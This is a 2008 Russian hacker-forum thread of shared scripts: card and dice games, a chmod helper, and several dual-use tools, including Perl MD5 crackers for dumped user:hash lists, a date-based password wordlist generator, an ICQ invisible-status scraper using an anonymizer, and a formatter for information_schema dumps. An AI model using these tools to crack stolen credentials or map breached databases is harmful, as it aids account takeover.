print "Username: $1\nHash: $2\n\n";
my $cracky = &getcracked("$2");
if($cracky){
open(LOG,">>$resultlist");
print LOG "$1:$cracky\n";
close(LOG);
}
else{
print "[-] Didn't find match\n";
}
}
else{
print "$line doesn't match user:md5\n";
}
}

USAGE: <user:hash list> <result list>
EX: dump.txt finish.txt

NOmeR1
02.02.2008, 12:42
Не нашёл темы "скрипты от скуки", решил запостить сюда.
Вобщем написал карточную игру типо блекджека. Короче получилось русское народное очко. Вышло прикольно. Работает на сессиях =)
<?php
session_start();
function rand_card() {
if(!$_SESSION['cards_a']) {
$array = array();
} elseif(!$_SESSION['cards_b']) {
$array = $_SESSION['cards_a'];
} else {
$array = array_merge($_SESSION['cards_a'], $_SESSION['cards_b']);
}
$rand_one = rand(2, 11);
$rand_two = rand(1, 4);
if(!in_array(array($rand_one, $rand_two), $array) && $rand_one != 5) {
return array($rand_one, $rand_two);
} else {
return rand_card();
}
}
function session_kill($a = false) {
$_SESSION['cards_a'] = '';
$_SESSION['cards_b'] = '';
if($a) {
$_SESSION['good'] = '';
$_SESSION['bad'] = '';
}
}
if($_SERVER['QUERY_STRING'] == 'clear_score') {
session_kill(true);
}
if(!$_SESSION['good']) {
$_SESSION['good'] = 0;
}
if(!$_SESSION['bad']) {
$_SESSION['bad'] = 0;
}
echo('<title>Двадцать одно</title>');
$array = rand_card();
if($_SERVER['QUERY_STRING'] != 'stop' || !$_SESSION['cards_a']) {
$_SESSION['cards_a'][] = $array;
}
$all = array( 2 => 'Валет', 3 => 'Дама', 4 => 'Король', 6 => '6', 7 => '7', 8 => '8', 9 => '9', 10 => '10', 11 => 'Туз' );
echo('<table><tr>');
$sum_a = 0;
foreach($_SESSION['cards_a'] as $card) {
$sum_a += $card[0];
echo('<td><img src="img/'.$card[0].'/'.$card[1].'.bmp" /><br><div align="center"><b>'.$all[$card[0]].'</b></div></td>');
}
echo('</tr></table><br>Ваши очки: <b>'.$sum_a.'</b><br>');
if($sum_a > 21) {
echo('Вы проиграли (<b>Перебор</b>)<br><a href="'.$_SERVER['PHP_SELF'].'">Назад</a>');
$_SESSION['bad']++;
session_kill();
} elseif($_SERVER['QUERY_STRING'] != 'stop') {
echo('<a href="'.$_SERVER['PHP_SELF'].'">Ещё</a> | <a href="'.$_SERVER['PHP_SELF'].'?stop">Хватит</a>');
} else {
$array = rand_card();
$_SESSION['cards_b'][] = $array;
echo('<br><table><tr>');
$sum_b = 0;
foreach($_SESSION['cards_b'] as $card) {
$sum_b += $card[0];
echo('<td><img src="img/'.$card[0].'/'.$card[1].'.bmp" /><br><div align="center"><b>'.$all[$card[0]].'</b></div></td>');
}
echo('</tr></table><br>Очки компьютера: <b>'.$sum_b.'</b><br>');
if($sum_b > $sum_a && $sum_b <= 21) {
echo('Вы проиграли<br><a href="'.$_SERVER['PHP_SELF'].'">Назад</a>');
$_SESSION['bad']++;
session_kill();
} elseif($sum_b > 21) {
echo('Вы выиграли (<b>Перебор</b>)<br><a href="'.$_SERVER['PHP_SELF'].'">Назад</a>');
$_SESSION['good']++;
session_kill();
} elseif(($sum_a == 21 && $sum_b == 21) || ($sum_a == 20 && $sum_b == 20)) {
echo('Ничья<br><a href="'.$_SERVER['PHP_SELF'].'">Назад</a>');
session_kill();
} else {
echo('<META HTTP-EQUIV="Refresh" CONTENT="2; URL='.$_SERVER['PHP_SELF'].'?stop">');
}
}
echo('<div style="position: absolute; top: 5%; right: 5%;"><table width="200"><td>Побед:</td><td><b>'.$_SESSION['good'].'</b></td></tr><tr><td>Проигрышей:</td><td><b>'.$_SESSION['bad'].'</b></td></tr></table><div align="center"><a href="'.$_SERVER['PHP_SELF'].'?clear_score">Очистить счёт</a></div></div>');
?>
Картинки брать отсюда (http://hax0r.in/dama/images.rar). Вот пример скрипта (http://hax0r.in/dama/). Так сказать - игра с компом.

Isis
02.02.2008, 14:09
Скрипт рандомно выводит разные картинки в подписи...

<?php

$directory = 'sig';
$dir = opendir($directory);
while($file = readdir($dir))
{
if ($file != "." && $file != "..")
{
$sig[] = $file;
}
}

$sigs = count($sig) - 1;
$random = rand(0, $sigs);

$jpg = $png = $gif = (substr($sig[$random], -3)) ? '1' : '';
$jpeg = (substr($sig[$random], -4)) ? '1' : '';

if ($sigs < 0)
{
echo 'Empty directory '.$directory.'<br/>Please upload image files';
}

if (substr($sig[$random], -3) == "jpg" || substr($sig[$random], -4) == "jpeg")
{
header('Content-type: image/jpeg');
$tmp = file_get_contents($directory."/".$sig[$random]);
$img = base64_encode($tmp);
echo base64_decode($img);
}
else
if (substr($sig[$random], -3) == "png")
{
header('Content-type: image/png');
$tmp = file_get_contents($directory."/".$sig[$random]);
$img = base64_encode($tmp);
echo base64_decode($img);
}
else
if (substr($sig[$random], -3) == "gif")
{
header('Content-type: image/gif');
$tmp = file_get_contents($directory."/".$sig[$random]);
$img = base64_encode($tmp);
echo base64_decode($img);
}
else
{
echo 'Only filetype gif, jpg, jpeg, png';
}
?>

http://my.xeka.ru/signature/index.php

cylaaaan
02.02.2008, 14:49
Грабер из сайта kanicq.ru для проверки номера на инвиз.
Работает через аномайзер webwarper.net
Использует curl

<?php

$new = '123456789'; // номер

$cr=curl_init("http://webwarper.net/ww/~av/kanicq.ru/invisible/?method=2");
curl_setopt($cr, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
curl_setopt($cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
curl_setopt($cr, CURLOPT_TIMEOUT, 20);
curl_setopt($cr, CURLOPT_HEADER, 1);
curl_setopt($cr, CURLOPT_POSTFIELDS, "human=1&uin=$new&youwereadded=on&uin4login=&password4login=");
curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cr, CURLOPT_REFERER, "http://icq-online.ru");
$r = curl_exec($cr);
curl_close($cr);
$s = "echo '$r'";

if ( preg_match ("/Free for chat/i" , "$s")) { $status = "Готов к общению"; }
elseif ( preg_match ("/Online/i" ,"$s")) { $status = "Онлайн"; }
elseif ( preg_match ("/Away/i" , "$s")) { $status = "Отошел"; }
elseif ( preg_match ("/N\/A/i" , "$s")) { $status = "Недоступен"; }
elseif ( preg_match ("/Occupied/i" , "$s")) { $status = "Занят"; }
elseif ( preg_match ("/DND/i" , "$s")) { $status = "Не беспокоить"; }
elseif ( preg_match ("/offline/i" , "$s")) { $status = "Оффлайн"; }
elseif ( preg_match ("/status\/invisible/i" , "$s")) { $status = "Невидимый"; }
else { $status = "Ошибка"; }

echo "UIN: $new<br>Статус: $status<br>";

?>

krypt3r
05.02.2008, 10:41
Озадачился на днях генерацией словарика, содержащий только даты за определенный период. Также используются разные разделители, например, дата 2007.12.31:

20071231
2007/12/31
31.12.07

и т.д.
Набросал скриптик на перле, который просит 2 даты начальную и конечную. Так как мне влом было читать маны (перлдоки :) ) по модулям Date, взял за основу алгоритм вычисления юлианского дня из астрономии (тем более уже был код, тока на паскале =) ). Вот сам код:

#!/usr/bin/perl

$argc = $#ARGV + 1;

&usage () unless ($argc == 2);

use Julian;
use lib ".";

%mon =
(
"01" => "january",
"02" => "february",
"03" => "march",
"04" => "april",
"05" => "may",
"06" => "june",
"07" => "july",
"08" => "august",
"09" => "september",
"10" => "october",
"11" => "november",
"12" => "december"
);

($year1, $month1, $day1) = &prepare_date ($ARGV[0]);
die "Error in date: $ARGV[0]\n" if (!defined $year1 || !defined $month1 || !defined $day1);
$startdate = $date = &Date2Julian ($year1, $month1, $day1, 0);
($year2, $month2, $day2) = &prepare_date ($ARGV[1]);
die "Error in date: $ARGV[1]\n" if (!defined $year2 || !defined $month2 || !defined $day2);
$enddate = &Date2Julian ($year2, $month2, $day2, 0);
@sep = ("", ".", "/", "\\", "-", ":", ",");
$sep_cnt = $#sep + 1;
while ($date <= $enddate)
{
@dat = Julian2Date ($date);
$dat[1] = "0" . $dat[1] if ($dat[1] < 10);
$dat[2] = "0" . $dat[2] if ($dat[2] < 10);
for ($i = 0; $i < $sep_cnt; $i++)
{
# YYYYMMDD
print $dat[0] . $sep[$i] . $dat[1] . $sep[$i] . $dat[2] . "\n";
print $dat[0] . $sep[$i] . substr ($mon{$dat[1]}, 0, 3) . $sep[$i] . $dat[2] . "\n";
print $dat[0] . $sep[$i] . uc (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[2] . "\n";
print $dat[0] . $sep[$i] . ucfirst (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[2] . "\n";
print $dat[0] . $sep[$i] . $mon{$dat[1]} . $sep[$i] . $dat[2] . "\n";
print $dat[0] . $sep[$i] . uc ($mon{$dat[1]}) . $sep[$i] . $dat[2] . "\n";
print $dat[0] . $sep[$i] . ucfirst ($mon{$dat[1]}) . $sep[$i] . $dat[2] . "\n";

# DDMMYYYY
print $dat[2] . $sep[$i] . $dat[1] . $sep[$i] . $dat[0] . "\n";
print $dat[2] . $sep[$i] . substr ($mon{$dat[1]}, 0, 3) . $sep[$i] . $dat[0] . "\n";
print $dat[2] . $sep[$i] . uc (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[0] . "\n";
print $dat[2] . $sep[$i] . ucfirst (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[0] . "\n";
print $dat[2] . $sep[$i] . $mon{$dat[1]} . $sep[$i] . $dat[0] . "\n";
print $dat[2] . $sep[$i] . uc ($mon{$dat[1]}) . $sep[$i] . $dat[0] . "\n";
print $dat[2] . $sep[$i] . ucfirst ($mon{$dat[1]}) . $sep[$i] . $dat[0] . "\n";

# DDMMYY
$dd = substr ($dat[0], 2, 2);
print $dat[2] . $sep[$i] . $dat[1] . $sep[$i] . $dd . "\n";
print $dat[2] . $sep[$i] . substr ($mon{$dat[1]}, 0, 3) . $sep[$i] . $dd . "\n";
print $dat[2] . $sep[$i] . uc (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dd . "\n";
print $dat[2] . $sep[$i] . ucfirst (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dd . "\n";
print $dat[2] . $sep[$i] . $mon{$dat[1]} . $sep[$i] . $dd . "\n";
print $dat[2] . $sep[$i] . uc ($mon{$dat[1]}) . $sep[$i] . $dd . "\n";
print $dat[2] . $sep[$i] . ucfirst ($mon{$dat[1]}) . $sep[$i] . $dd . "\n";

# YYMMDD
print $dd . $sep[$i] . $dat[1] . $sep[$i] . $dat[2] . "\n";
print $dd . $sep[$i] . substr ($mon{$dat[1]}, 0, 3) . $sep[$i] . $dat[2] . "\n";
print $dd . $sep[$i] . uc (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[2] . "\n";
print $dd . $sep[$i] . ucfirst (substr ($mon{$dat[1]}, 0, 3)) . $sep[$i] . $dat[2] . "\n";
print $dd . $sep[$i] . $mon{$dat[1]} . $sep[$i] . $dat[2] . "\n";
print $dd . $sep[$i] . uc ($mon{$dat[1]}) . $sep[$i] . $dat[2] . "\n";
print $dd . $sep[$i] . ucfirst ($mon{$dat[1]}) . $sep[$i] . $dat[2] . "\n";
}
$date++;
}

exit 0;

sub usage ()
{
print "Usage: $0 [start_date [end_date]]\n";
print " ex.: $0 1999/08/11\n";
print " : $0 1960/01/01 2002/12/31\n";
exit 0;
}

sub prepare_date ($)
{
my ($date_str) = @_;
my ($year, $month, $day);

($year, $month, $day) = split (/\//, $date_str);
$year =~ s/[^\d]+//g if ($year =~ /[^\d]/);
$month =~ s/[^\d]+// if ($month =~ /[^\d]/);
$day =~ s/[^\d]+// if ($day =~ /[^\d]/);
$year = substr ($year, 0, 4) if (length ($year) > 4);
$month = substr ($month, 0, 2) if (length ($month) > 2);
$day = substr ($day, 0, 2) if (length ($day) > 2);
$year =~ s/^0+// if ($year =~ /^0/);
$month =~ s/^0// if ($month =~ /^0/);
$day =~ s/^0// if ($day =~ /^0/);
return undef if (($month < 1) || $month > 12);
return undef if (($day < 1) || $day > 31);
return ($year, $month, $day);
}

код функций Date2Julian и Julian2Date вынес в отдельный пакет Julian.pm

package Julian;
use strict;
use vars qw (@EXPORT @ISA $VERSION);
require Exporter;

$VERSION = "0.1";
@ISA = qw (Exporter);
@EXPORT = qw (Date2Julian Julian2Date);
#-----------------------------------------------------------------------#
# Date2Julian: Julian Date #
# The routine is valid for any date since 4713 BC. #
# Julian calendar is used up to 1582 October 4, #
# Gregorian calendar is used from 1582 October 15 onwards. #
#-----------------------------------------------------------------------#
sub Date2Julian ($$$$)
{
my ($year, $month, $day, $hour) = @_;
my ($A, $B, $jd);

$A = 10000.0 * $year + 100.0 * $month + $day;
if ($month <= 2)
{
$month += 12;
$year--;
}
if ($A <= 15821004.1)
{
$B = -2 + int (($year + 4716) / 4) - 1179;
}
else
{
$B = int ($year / 400) - int ($year / 100) + int ($year / 4);
}
$A = 365 * $year - 679004.0;
$jd = $A + $B + int (30.6001 * ($month + 1)) + $day + $hour / 24.0;
return $jd + 2400000.5;
}

#---------------------------------------------------------------------------#
# Julian2Date: Finds the civil calendar date for a given value #
# of the Julian Date (JD). #
# Julian calendar is used up to 1582 October 4, #
# Gregorian calendar is used from 1582 October 15 onwards. #
#---------------------------------------------------------------------------#
sub Julian2Date ($)
{
my ($jd) = @_;
my ($day, $month, $year, $hour);
my ($B, $D, $F);
my ($jd0, $C, $E, @dat);

$jd0 = int ($jd + 0.5);
if ($jd0 < 2299161.0) # calendar
{
$C = $jd0 + 1524.0; # -> Julian
}
else # -> Gregorian
{
$B = int (($jd0 - 1867216.25) / 36524.25);
$C = $jd0 + ($B - int ($B / 4)) +1525.0;
}
$D = int (($C - 122.1) / 365.25);
$E = 365.0 * $D + int ($D / 4);
$F = int (($C - $E) / 30.6001);
$day = int ($C - $E + 0.5) - int (30.6001 * $F);
$month = $F - 1 - 12 * int ($F / 14);
$year = $D - 4715 - int ((7 + $month) / 10);
$hour = 24.0 * ($jd + 0.5 - $jd0);
@dat = ($year, $month, $day, $hour);
return @dat;
}

При использовании года в формате YY (две последние цифры года) и при охвате периода более ста лет в словаре возможны повторения.
Возможно, скриптик будет полезен кому-нить.

Dimi4
05.02.2008, 23:07
Поможет выставить права

<script language="JavaScript">
<!--
/* chmod helper, Version 1.0
* by Dan Kaplan <design@abledesign.com>
* Last Modified: May 24, 2001
* --------------------------------------------------------------------
* Inspired by 'Chmod Calculator' by Peter Crouch:
* http://wsabstract.com/script/script2/chmodcal.shtml
*
* USE THIS LIBRARY AT YOUR OWN RISK; no warranties are expressed or
* implied. You may modify the file however you see fit, so long as
* you retain this header information and any credits to other sources
* throughout the file. If you make any modifications or improvements,
* please send them via email to Dan Kaplan <design@abledesign.com>.
* --------------------------------------------------------------------
*/

function do_chmod(user) {
var field4 = user + "4";
var field2 = user + "2";
var field1 = user + "1";
var total = "t_" + user;
var symbolic = "sym_" + user;
var number = 0;
var sym_string = "";

if (document.chmod[field4].checked == true) { number += 4; }
if (document.chmod[field2].checked == true) { number += 2; }
if (document.chmod[field1].checked == true) { number += 1; }

if (document.chmod[field4].checked == true) {
sym_string += "r";
} else {
sym_string += "-";
}
if (document.chmod[field2].checked == true) {
sym_string += "w";
} else {
sym_string += "-";
}
if (document.chmod[field1].checked == true) {
sym_string += "x";
} else {
sym_string += "-";
}

if (number == 0) { number = ""; }
document.chmod[total].value = number;
document.chmod[symbolic].value = sym_string;

document.chmod.t_total.value = document.chmod.t_owner.value + document.chmod.t_group.value + document.chmod.t_other.value;
document.chmod.sym_total.value = "-" + document.chmod.sym_owner.value + document.chmod.sym_group.value + document.chmod.sym_other.value;
}
//-->
</script>



<form name="chmod">
<p><table cellpadding="0" cellspacing="0" border="0" bgcolor="#03075D"><tr><td width="100%" valign="top"><table width="100%" cellpadding="5" cellspacing="2" border="0"><tr><td width="100%" bgcolor="#52847B" align="center" colspan="5"><font color="#ffffff" size="3"><b>chmod (File Permissions) helper</b></font></td></tr>
<tr bgcolor="#bcbcbc">
<td align="left"><b>Permission</b></td>
<td align="center"><b>Owner</b></td>
<td align="center"><b>Group</b></td>
<td align="center"><b>Other</b></td>
<td bgcolor="#dddddd" rowspan="4">*</td>
</tr><tr bgcolor="#dddddd">
<td align="left" nowrap><b>Read</b> (r = 4)</td>
<td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner4" value="4" onclick="do_chmod('owner')"></td>
<td align="center" bgcolor="#ffffff"><input type="checkbox" name="group4" value="4" onclick="do_chmod('group')"></td>
<td align="center" bgcolor="#ffffff"><input type="checkbox" name="other4" value="4" onclick="do_chmod('other')"></td>
</tr><tr bgcolor="#dddddd">
<td align="left" nowrap><b>Write</b> (w=2)</td>
<td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner2" value="2" onclick="do_chmod('owner')"></td>
<td align="center" bgcolor="#ffffff"><input type="checkbox" name="group2" value="2" onclick="do_chmod('group')"></td>
<td align="center" bgcolor="#ffffff"><input type="checkbox" name="other2" value="2" onclick="do_chmod('other')"></td>
</tr><tr bgcolor="#dddddd">
<td align="left" nowrap><b>Execute</b> (x=1)</td>
<td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner1" value="1" onclick="do_chmod('owner')"></td>
<td align="center" bgcolor="#ffffff"><input type="checkbox" name="group1" value="1" onclick="do_chmod('group')"></td>
<td align="center" bgcolor="#ffffff"><input type="checkbox" name="other1" value="1" onclick="do_chmod('other')"></td>
</tr><tr bgcolor="#dddddd">
<td align="right" nowrap>Octal:</td>
<td align="center"><input type="text" name="t_owner" value="" size="1"></td>
<td align="center"><input type="text" name="t_group" value="" size="1"></td>
<td align="center"><input type="text" name="t_other" value="" size="1"></td>
<td align="left"><b>=</b> <input type="text" name="t_total" value="" size="3"></td>
</tr><tr bgcolor="#dddddd">
<td align="right" nowrap>Symbolic:</td>
<td align="center"><input type="text" name="sym_owner" value="" size="3"></td>
<td align="center"><input type="text" name="sym_group" value="" size="3"></td>
<td align="center"><input type="text" name="sym_other" value="" size="3"></td>
<td align="left"><b>=</b> <input type="text" name="sym_total" value="" size="10"></td>
</tr><tr bgcolor="#dddddd"><td colspan="5" align="center">
<font face="Arial" size="1">Provided free by <a href="http://abledesign.com/programs/" target="_blank">AbleDesign</a>, inspired by <a href="http://wsabstract.com/script/script2/chmodcal.shtml" target="_blank">Chmod Calculator</a></font>
</td></tr>
</table></td></tr></table></p>
</form>

копирайты в сырце

NOmeR1
06.02.2008, 21:17
Вобщем как обычно делать нечего.
<?php
session_start();
echo('<title>Магический квадрат</title><style>a.mag:link, a.mag:hover, a.mag:active, a.mag:visited { color: Green; font-size: 90px; text-decoration: none; } </style>1. Задумайте любое двухзначное число. <br>2. Вычтите из него составляющие его цифры (например, из числа 54 надо вычесть 5 и 4, получится 45). <br>3. Найдите это число в таблице и символ, которому оно соответствует. <br>4. Вообразите мысленно себе этот символ. <br>5. Щелкните по квадрату.<br>');
function next_step()
{
if($_SESSION['symbol'] && $_SERVER['QUERY_STRING'] == 'continue')
{
return true;
}
else
{
return false;
}
}
if(!next_step())
{
echo('<table align="center"><a href="'.$_SERVER['PHP_SELF'].'?continue"><div style="background: #000000; width: 100; height: 100;"></div></a></table><br><table width="500" align="center" style="font-size: 18px;"><tr>');
$array = array(0, 9, 18, 27, 36, 45, 54, 63, 72, 81);
$symbols = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw xyz<>^&*_+?!~';
$number = $symbols{rand(0,strlen($symbols)-1)};
$_SESSION['symbol'] = $number;
function getsym()
{
global $number, $symbols;
$symbol = $symbols{rand(0,strlen($symbols)-1)};
if($symbol == $number)
{
return getsym();
}
else
{
return $symbol;
}
}
for($i = 99; $i >= 0; $i--)
{
echo('<td>'.$i.'</td><td>-</td><td><b style="color: YellowGreen;">');
if(in_array($i, $array))
{
echo $number;
}
else
{
echo getsym();
}
echo('</b></td>');
if(($i / 10) == round(($i / 10)) && $i != 0)
{
echo('</tr><tr>');
}
}
echo('</tr></td></table><br><div align="center">Для продолжения нажмите на чёрный квадрат.</div>');
}
else
{
echo('<table align="center"><a class="mag" href="'.$_SERVER['PHP_SELF'].'"><div style="background: #000000; width: 100; height: 100; text-align: center;">'.$_SESSION['symbol'].'</div></a></table><div align="center">Это он? <a href="'.$_SERVER['PHP_SELF'].'">Заново</a>.</div>');
}
?>
Не забудьте убрать лишние пробелы из скрипта, созданные форумом. Вот пример (http://hax0r.in/dama/mag.php).

FraiDex
07.02.2008, 00:52
Скрипт позволяет перевести перевести информацию полученую из information schema в удобночитаемое состояние
<?php
if (!@$_POST['data'])
{
?>
<form action="prodom.php" method="post">
<textarea style="border:2px solid #6F9F3B;" cols="100" rows="7" name="data"/><br/>
<input style="border:1px solid #6F9F3B;background-color:#FFAD1F;font-weight:bold;" type="submit" value="send"/>
</form>
<?php
}
$content = explode("\n", @$_POST['data']);
for ($i = 0; $i <= count($content); $i++)
{
list($table, $column) = explode(":", $content[$i]);
{
$array[$table][] = $column;
}
}
echo "<table width=100% border=1 cellpadding=0 cellspacing=0>";
foreach ($array as $table => $column)
{
if ($num == 1)
echo "<tr>";
if ($key != '')
{
echo "<td valign=top width=33%><span style=color:red;font-weight:bold;>$table</span><br/>";
$num ++;
}
foreach ($column as $array)
{
if ($array != '')
{
echo $array;
echo "<br/>";
}
}
echo "</td>";
if ($num == 3) { echo "</tr>"; $num = 1; }
}
?>
</table>

FraiDex
07.02.2008, 00:55
Скрипт для расшифровки MD5
# Perl
# Md5 MultiCracker
# Author : Cod3rZ
# Usage : perl md5.pl [hash]
# Usage: perl md5.pl 27d34b40d7adafe2e00c3503543e0ca9
# Thanks to GrabberGhost

use LWP::UserAgent;
use HTTP::Request::Common;

system("cls");
print q{ ---------------------------------------------------------------------
:: Md5 MultiCracker ::
---------------------------------------------------------------------
Author : Cod3rZ
Email : songforthemoment@yahoo.it
Site : http://cod3rz.helloweb.eu
---------------------------------------------------------------------
};
$hash = $ARGV[0];
chomp($hash);

if(!$hash) {
print q{ Usage: perl md5.pl [hash]
Usage: perl md5.pl 27d34b40d7adafe2e00c3503543e0ca9
---------------------------------------------------------------------
};
} else {

$lwp = LWP::UserAgent->new;

#Milw0rm

$ua = $lwp->request(POST 'http://www.milw0rm.com/cracker/search.php',
[
hash => "$hash",
Submit => 'Submit',
]);
@content = split(/[n]/, $ua->content);
@password = split( /[><]/, $content[46]);
if($password[1]) { print " Password cracked: $password[1] \n ---------------------------------------------------------------------"; }
else {


#Rednoize

$red = $lwp->request(GET 'http://md5.rednoize.com/?p&s=md5&q='.$hash);
$content = $red->content;
if($content) {
print " Password cracked : $content \n ---------------------------------------------------------------------";
} else {


#GdataOnline

$gdo = $lwp->request(GET 'http://gdataonline.com/qkhash.php?mode=xml&hash='.$hash);
@content = split(/<result>/, $gdo->content);
@password = split( /[><]/, $content[1]);
if(@password[0]) {
print " Password cracked: @password[0]\n ---------------------------------------------------------------------";
}
else { print " Password Not Cracked\n ---------------------------------------------------------------------"; }
} } }

NOmeR1
08.02.2008, 00:43
Написал покер с игральными костями!
<?php
session_start();
if(!$_SESSION['wins'] || $_SERVER['QUERY_STRING'] == 'clear_score'){$_SESSION['wins'] = 0;}
if(!$_SESSION['lose'] || $_SERVER['QUERY_STRING'] == 'clear_score'){$_SESSION['lose'] = 0;}
error_reporting(0);
if(!function_exists('str_split')) {
function str_split($string) {
$array = array();
for($i=0;$i<strlen($string);$i++)
{
$array[] = $string{$i};
}
return $array;
}
}
function check($array) {
$count = array_count_values($array);
$count2 = array_count_values($count);
if(max($count) == 2) {
if($count2[2] == 1) {
return 1;
} elseif($count2[2] == 2) {
return 2;
}
} elseif(max($count) == 3) {
if($count2[3] == 1 && $count2[2] == 1) {
return 6;
} else {
return 3;
}
} elseif(max($count) == 4) {
return 7;
} elseif(max($count) == 5) {
return 8;
} elseif(in_array(1, $array) && in_array(2, $array) && in_array(3, $array) && in_array(4, $array) && in_array(5, $array)) {
return 4;
} elseif(in_array(2, $array) && in_array(3, $array) && in_array(4, $array) && in_array(5, $array) && in_array(6, $array)) {
return 5;
} else {
return 0;
}
}
echo("<title>Покер с игральными костями</title><style>body{background:url(img/bones/bg.PNG);color:#F26522;}a:link,a:hover,a:active,a:v isited{color:#F26522;}</style>");
if($_SERVER['QUERY_STRING'] != 'next') {
echo("<body><script>function kill(id){document.getElementById('text').value += id; document.getElementById('i_'+id).innerHTML = ''; document.getElementById('subm').value = 'Перебросить';}</script><font size=2>*Кликните по тем костям, которые вы хотите перебросить</font><br>");
}
if(!$_SESSION['bones_a']) {
$_SESSION['bones_a'] = array(rand(1,6), rand(1,6), rand(1,6), rand(1,6), rand(1,6));
} elseif($_POST['what']) {
$split = str_split($_POST['what']);
foreach($split as $delete) {
unset($_SESSION['bones_a'][($delete-1)]);
}
$_SESSION['bones_a'] = array_values($_SESSION['bones_a']);
for($i=0;$i<count($split);$i++) {
$_SESSION['bones_a'][] = rand(1,6);
}
}
$count = array_count_values($_SESSION['bones_a']);
$count2 = array_count_values($count);
$array = array(0 => 'шанс', 1 => 'одна пара', 2 => 'две пары', 3 => 'тройка', 4 => 'малый стрит', 5 => 'большой стрит', 6 => 'фулл хаус', 7 => 'каре', 8 => 'покер');
echo('<table><tr>');
foreach($_SESSION['bones_a'] as $i => $bone) {
echo('<td>');
if($_SERVER['QUERY_STRING'] != 'next') {
echo('<a id="i_'.($i+1).'" href="#" onclick="kill('.($i+1).')">');
}
echo('<img src="img/bones/'.$bone.'.png" width="125" border=0>');
if($_SERVER['QUERY_STRING'] != 'next') {
echo('</a>');
}
echo('<br></td>');
}
echo('</tr></table>');
if($_SERVER['QUERY_STRING'] != 'next') {
echo('<form method="POST" action="'.$_SERVER['PHP_SELF'].'?next"><input type="hidden" id="text" name="what"><br><input id="subm" type="submit" value="Не перебрасывать"></form>');
}
echo('<br><br>У вас ');
echo('<b>'.$array[check($_SESSION['bones_a'])].'</b>.');
if($_SERVER['QUERY_STRING'] == 'next') {
if(!$_SESSION['bones_b']) {
$_SESSION['bones_b'] = array(rand(1,6), rand(1,6), rand(1,6), rand(1,6), rand(1,6));
} else {
$just = true;
$k = 0;
$count = array_count_values($_SESSION['bones_b']);
if(check($_SESSION['bones_b']) == 1 || check($_SESSION['bones_b']) == 2) {
foreach($_SESSION['bones_b'] as $i => $bon) {
if($count[$bon] != 2) {
$k++;
unset($_SESSION['bones_b'][$i]);
}
}
} elseif(check($_SESSION['bones_b']) == 3) {
foreach($_SESSION['bones_b'] as $i => $bon) {
if($count[$bon] != 3) {
$k++;
unset($_SESSION['bones_b'][$i]);
}
}
} elseif(check($_SESSION['bones_b']) == 4) {
foreach($_SESSION['bones_b'] as $i => $bon) {
if($count[$bon] != 4) {
$k++;
unset($_SESSION['bones_b'][$i]);
}
}
} elseif(check($_SESSION['bones_b']) == 0) {
$k = 5;
$_SESSION['bones_b'] = array();
}
$_SESSION['bones_b'] = array_values($_SESSION['bones_b']);
for($i=0;$i<$k;$i++) {
$_SESSION['bones_b'][] = rand(1,6);
}
}
echo('<br><br><table><tr>');
foreach($_SESSION['bones_b'] as $bone) {
echo('<td><img src="img/bones/'.$bone.'.png" width="125" border=0><br></td>');
}
echo('</tr></table><br><br>У компьютера <b>'.$array[check($_SESSION['bones_b'])].'</b>.<br>');
if(check($_SESSION['bones_b']) > check($_SESSION['bones_a'])) {
$end = true;
echo('<font size=4><b>Вы проиграли.</b></font>');
$_SESSION['lose']++;
} elseif(!$just) {
echo('Перебрасывает');
echo('<meta http-equiv="refresh" content="2; url='.$_SERVER['PHP_SELF'].'?next">');
} else {
$end = true;
if(check($_SESSION['bones_a']) > check($_SESSION['bones_b'])) {
echo('<font size=4><b>Вы выиграли.</b></font>');
$_SESSION['wins']++;
} else {
echo('<font size=4><b>Ничья.</b></font>');
}
}
if($end) {
echo('<br><br><a href="'.$_SERVER['PHP_SELF'].'">Ещё раз</a>.');
unset($_SESSION['bones_a']);
unset($_SESSION['bones_b']);
}
}
echo('<div style="position: absolute; top: 5%; right: 5%;"><table width="200"><td>Побед:</td><td><b>'.$_SESSION['wins'].'</b></td></tr><tr><td>Проигрышей:</td><td><b>'.$_SESSION['lose'].'</b></td></tr></table><div align="center"><a href="'.$_SERVER['PHP_SELF'].'?clear_score">Очистить счёт</a></div></div></body>');
?>
Картинки от игры здесь (http://hax0r.in/dama/bones.rar). Вот пример скрипта (http://hax0r.in/dama/poker.php).
Обновление 9 февраля.

Isis
08.02.2008, 02:26
NOmeR1, тебе уже пора заказы писать, а не фигней мается :)

Dimi4
08.02.2008, 14:27
Вот и я игрушку сочинил. Правда на джаваскрипте:
<html>
<head>

<title>CheckFormGame</title>
<style type="text/css">

body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color: green;
}
table
{
border-spacing: 0;
margin:0 auto;
border-collapse: collapse;
}

td:hover
{
background:#4D525C;
}
td
{
padding:3px;
border-top:1px solid #2A2E33;
border-left:1px solid #2A2E33;
text-align:left;
font-size:12px;
color:#B9B9BD;
background:#363940;
}
td b
{
color:#ccc;
}
a
{
text-decoration:none;
color:#ccc;
}
input, select, textarea
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
.post
{
padding:10px;
font-family:tahoma, verdana, arial;
font-size:11px;
border: 1px solid black;
}
.dArrow
{
float:right;
font-size:14px;
font-weight:normal;
margin:0px 5px 0px 0px;
}
.dArrow a
{
border: 1px solid #DAE2E8; line-height:25px;
background-color:#fff; padding:0px 6px 3px 6px;
}
.dArrow a:hover
{
text-decoration:none;
border: 1px solid #45688E;
}
</style>

</head>
<body>
<h1>CheckFormGame by Dimi4 for Antichat</h1>
